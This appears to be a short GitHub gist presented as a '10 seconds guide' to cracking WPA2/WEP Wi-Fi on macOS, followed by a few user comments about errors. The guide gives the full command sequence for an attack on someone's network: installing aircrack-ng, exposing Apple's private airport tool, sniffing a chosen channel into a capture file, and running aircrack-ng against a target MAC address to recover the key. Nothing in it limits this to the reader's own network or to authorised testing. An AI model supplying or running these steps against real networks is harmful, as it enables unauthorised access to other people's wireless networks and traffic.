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Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
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Aircrack Commands
// Install the latest Xcode, with the Command Line Tools.
// Install Homebrew
// Install aircrack-ng:
brew install aircrack-ng
// Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/sbin/airport
// Figure out which channel you need to sniff:
sudo airport -s
// Sniff
// NOTE: the cap_file will be located in the /tmp/airportSniff*.cap.
sudo airport en1 sniff [CHANNEL]
// Crack
// Optional flags: -1 only 1 try with PTW
// -a attack mode (1/WEP, 2/WPA-PSK)
aircrack-ng -b [TARGET_MAC_ADDRESS] [CAP_FILE]
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dannykansas commented Jan 8, 2017 •
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good find with the /usr/local/sbin/airport for OS X El Capitan. I was starting to think the utility wasn't included, actually just a permission issue

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Segmentation fault : 11 while running the command sudo airport en0 sniff [CHANNEL]

currently on mac osX Mojave 10.14

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i have a segmentation fault 11 too with mac os mojave

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